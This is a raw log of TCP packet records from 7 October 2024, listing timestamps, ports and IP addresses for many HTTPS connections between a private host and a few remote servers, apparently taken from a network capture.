Oct 7, 2024 03:16:39.221290112 CEST	443	49902	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.221659899 CEST	49902	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.221689939 CEST	443	49902	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.222064972 CEST	49902	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.222074986 CEST	443	49902	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.231748104 CEST	443	49904	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.232135057 CEST	49904	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.232163906 CEST	443	49904	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.232569933 CEST	49904	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.232574940 CEST	443	49904	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.300441980 CEST	443	49903	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.300582886 CEST	443	49903	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.300858974 CEST	49903	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.300899982 CEST	49903	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.300919056 CEST	443	49903	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.300928116 CEST	49903	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.300934076 CEST	443	49903	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.304054022 CEST	49907	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.304086924 CEST	443	49907	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.304160118 CEST	49907	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.304310083 CEST	49907	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.304321051 CEST	443	49907	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.312990904 CEST	443	49905	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.313385010 CEST	49905	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.313401937 CEST	443	49905	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.313812971 CEST	49905	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.313817978 CEST	443	49905	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.323620081 CEST	443	49902	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.323688984 CEST	443	49902	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.323750019 CEST	443	49902	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.323836088 CEST	49902	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.323903084 CEST	49902	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.323903084 CEST	49902	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.323932886 CEST	443	49902	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.323956013 CEST	443	49902	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.326102018 CEST	49908	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.326195002 CEST	443	49908	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.326282978 CEST	49908	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.326419115 CEST	49908	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.326452971 CEST	443	49908	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.331521034 CEST	443	49904	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.331578016 CEST	443	49904	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.331708908 CEST	49904	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.331717968 CEST	443	49904	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.331753016 CEST	443	49904	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.331794977 CEST	49904	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.331810951 CEST	443	49904	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.331823111 CEST	49904	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.331823111 CEST	49904	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.331830025 CEST	443	49904	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.331836939 CEST	443	49904	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.333534956 CEST	49909	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.333579063 CEST	443	49909	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.333786011 CEST	49909	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.333786011 CEST	49909	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.333825111 CEST	443	49909	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.410657883 CEST	443	49905	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.410717010 CEST	443	49905	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.410917044 CEST	49905	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.410926104 CEST	443	49905	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.410980940 CEST	443	49905	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.411012888 CEST	49905	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.411034107 CEST	443	49905	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.411050081 CEST	49905	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.411050081 CEST	49905	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.411060095 CEST	443	49905	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.411068916 CEST	443	49905	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.413722992 CEST	49910	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.413744926 CEST	443	49910	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.413969040 CEST	49910	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.413969994 CEST	49910	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.413995981 CEST	443	49910	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.653446913 CEST	443	49906	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.654093027 CEST	49906	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.654115915 CEST	443	49906	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.654624939 CEST	49906	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.654629946 CEST	443	49906	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.757193089 CEST	443	49906	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.757267952 CEST	443	49906	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.757383108 CEST	443	49906	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.757446051 CEST	49906	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.757587910 CEST	49906	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.757617950 CEST	443	49906	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.757631063 CEST	49906	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.757638931 CEST	443	49906	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.760869026 CEST	49911	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.760967016 CEST	443	49911	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.761059999 CEST	49911	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.761209011 CEST	49911	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.761231899 CEST	443	49911	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.945070982 CEST	443	49907	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.945825100 CEST	49907	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.945889950 CEST	443	49907	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.946551085 CEST	49907	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.946608067 CEST	443	49907	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.982963085 CEST	443	49908	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.983160973 CEST	443	49909	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.983767986 CEST	49909	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.983784914 CEST	443	49909	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.983786106 CEST	49908	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.983850002 CEST	443	49908	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.984297991 CEST	49908	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.984311104 CEST	443	49908	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.984323978 CEST	49909	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.984333038 CEST	443	49909	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.062849045 CEST	443	49907	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.063014030 CEST	443	49907	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.063110113 CEST	49907	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.063252926 CEST	49907	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.063304901 CEST	443	49907	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.063338041 CEST	49907	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.063354969 CEST	443	49907	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.066255093 CEST	49912	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.066320896 CEST	443	49912	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.066420078 CEST	49912	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.066596031 CEST	49912	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.066616058 CEST	443	49912	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.083805084 CEST	443	49908	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.083873034 CEST	443	49908	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.083961964 CEST	443	49908	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.084029913 CEST	49908	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.084105968 CEST	49908	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.084105968 CEST	49908	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.084145069 CEST	443	49908	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.084172964 CEST	443	49908	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.085887909 CEST	443	49910	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.086467981 CEST	49910	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.086488962 CEST	443	49910	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.087019920 CEST	49913	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.087047100 CEST	443	49913	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.087177992 CEST	49910	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.087183952 CEST	443	49910	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.087213039 CEST	49913	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.087368011 CEST	49913	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.087373972 CEST	443	49913	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.115278959 CEST	443	49909	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.115504980 CEST	443	49909	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.115571022 CEST	49909	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.115593910 CEST	49909	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.115609884 CEST	443	49909	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.115619898 CEST	49909	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.115624905 CEST	443	49909	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.118484974 CEST	49914	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.118498087 CEST	443	49914	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.118752956 CEST	49914	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.118896008 CEST	49914	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.118906021 CEST	443	49914	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.188666105 CEST	443	49910	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.188754082 CEST	443	49910	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.188848019 CEST	443	49910	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.188910961 CEST	49910	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.189049006 CEST	49910	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.189069986 CEST	443	49910	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.189080954 CEST	49910	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.189085960 CEST	443	49910	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.192090034 CEST	49915	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.192195892 CEST	443	49915	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.192289114 CEST	49915	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.192457914 CEST	49915	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.192495108 CEST	443	49915	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.312203884 CEST	443	49783	173.222.162.64	192.168.2.6
Oct 7, 2024 03:16:40.312316895 CEST	49783	443	192.168.2.6	173.222.162.64
Oct 7, 2024 03:16:40.444613934 CEST	443	49911	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.445343971 CEST	49911	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.445389032 CEST	443	49911	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.445856094 CEST	49911	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.445869923 CEST	443	49911	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.547769070 CEST	443	49911	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.547832012 CEST	443	49911	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.548216105 CEST	49911	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.553204060 CEST	49911	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.553204060 CEST	49911	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.553252935 CEST	443	49911	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.553287029 CEST	443	49911	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.557353973 CEST	49916	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.557457924 CEST	443	49916	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.557552099 CEST	49916	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.557735920 CEST	49916	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.557771921 CEST	443	49916	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.747014046 CEST	443	49912	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.747675896 CEST	49912	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.747741938 CEST	443	49912	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.748213053 CEST	49912	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.748229027 CEST	443	49912	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.750427961 CEST	443	49913	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.750766039 CEST	49913	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.750787020 CEST	443	49913	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.751194000 CEST	49913	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.751199007 CEST	443	49913	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.763039112 CEST	443	49914	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.763422966 CEST	49914	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.763454914 CEST	443	49914	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.763907909 CEST	49914	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.763915062 CEST	443	49914	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.827728987 CEST	443	49915	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.828161001 CEST	49915	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.828191996 CEST	443	49915	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.828466892 CEST	49915	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.828474998 CEST	443	49915	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.851628065 CEST	443	49913	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.851835966 CEST	443	49913	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.852034092 CEST	49913	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.852034092 CEST	49913	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.852034092 CEST	49913	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.852725029 CEST	443	49912	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.853759050 CEST	443	49912	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.853821039 CEST	49912	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.853835106 CEST	443	49912	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.853857040 CEST	443	49912	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.853921890 CEST	49912	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.853945971 CEST	443	49912	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.853960991 CEST	49912	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.853960991 CEST	49912	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.853972912 CEST	443	49912	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.853984118 CEST	443	49912	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.856055975 CEST	49917	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.856096029 CEST	443	49917	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.856189013 CEST	49917	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.856324911 CEST	49917	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.856342077 CEST	443	49917	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.856595993 CEST	49918	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.856606007 CEST	443	49918	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.856667995 CEST	49918	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.856746912 CEST	49918	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.856759071 CEST	443	49918	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.863483906 CEST	443	49914	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.863567114 CEST	443	49914	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.863609076 CEST	49914	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.863629103 CEST	443	49914	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.863665104 CEST	443	49914	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.863713026 CEST	49914	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.863866091 CEST	49914	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.863879919 CEST	443	49914	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.863889933 CEST	49914	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.863894939 CEST	443	49914	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.865737915 CEST	49919	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.865835905 CEST	443	49919	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.865931988 CEST	49919	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.866048098 CEST	49919	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.866086006 CEST	443	49919	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.926393032 CEST	443	49915	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.926534891 CEST	443	49915	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.926599979 CEST	49915	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.926783085 CEST	49915	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.926804066 CEST	443	49915	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.926816940 CEST	49915	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.926822901 CEST	443	49915	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.929727077 CEST	49920	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.929776907 CEST	443	49920	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:40.929853916 CEST	49920	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.930005074 CEST	49920	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:40.930016994 CEST	443	49920	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.164793015 CEST	49913	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.164820910 CEST	443	49913	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.223817110 CEST	443	49916	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.224622011 CEST	49916	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.224710941 CEST	443	49916	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.225315094 CEST	49916	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.225330114 CEST	443	49916	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.326006889 CEST	443	49916	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.326178074 CEST	443	49916	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.326252937 CEST	49916	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.326442003 CEST	49916	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.326468945 CEST	443	49916	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.326488018 CEST	49916	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.326495886 CEST	443	49916	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.329938889 CEST	49921	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.329977036 CEST	443	49921	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.330056906 CEST	49921	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.330251932 CEST	49921	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.330265999 CEST	443	49921	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.516567945 CEST	443	49919	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.517220974 CEST	49919	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.517285109 CEST	443	49919	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.517765999 CEST	49919	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.517780066 CEST	443	49919	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.537189007 CEST	443	49917	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.537214994 CEST	443	49918	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.537594080 CEST	49917	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.537616968 CEST	443	49917	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.537650108 CEST	49918	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.537658930 CEST	443	49918	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.537992954 CEST	49917	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.538000107 CEST	443	49917	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.538074017 CEST	49918	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.538079023 CEST	443	49918	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.577831984 CEST	443	49920	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.578283072 CEST	49920	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.578295946 CEST	443	49920	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.578835011 CEST	49920	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.578840017 CEST	443	49920	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.617679119 CEST	443	49919	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.617949963 CEST	443	49919	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.618051052 CEST	49919	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.618266106 CEST	49919	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.618266106 CEST	49919	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.618289948 CEST	443	49919	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.618300915 CEST	443	49919	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.621392012 CEST	49922	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.621457100 CEST	443	49922	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.621537924 CEST	49922	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.621686935 CEST	49922	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.621711969 CEST	443	49922	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.641454935 CEST	443	49918	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.641583920 CEST	443	49918	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.641748905 CEST	49918	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.641808987 CEST	49918	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.641829967 CEST	443	49918	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.641843081 CEST	49918	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.641849995 CEST	443	49918	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.644572973 CEST	49923	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.644618034 CEST	443	49923	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.644690037 CEST	49923	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.644710064 CEST	443	49917	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.644792080 CEST	443	49917	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.644829988 CEST	49917	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.644840956 CEST	443	49917	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.644854069 CEST	443	49917	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.644912004 CEST	49917	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.644926071 CEST	443	49917	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.644942045 CEST	49917	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.644942045 CEST	49917	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.644948959 CEST	443	49917	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.644959927 CEST	443	49917	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.644963026 CEST	49923	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.644975901 CEST	443	49923	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.647305965 CEST	49924	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.647329092 CEST	443	49924	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.647408009 CEST	49924	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.647536039 CEST	49924	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.647547960 CEST	443	49924	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.679228067 CEST	443	49920	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.679251909 CEST	443	49920	13.107.246.60	192.168.2.6
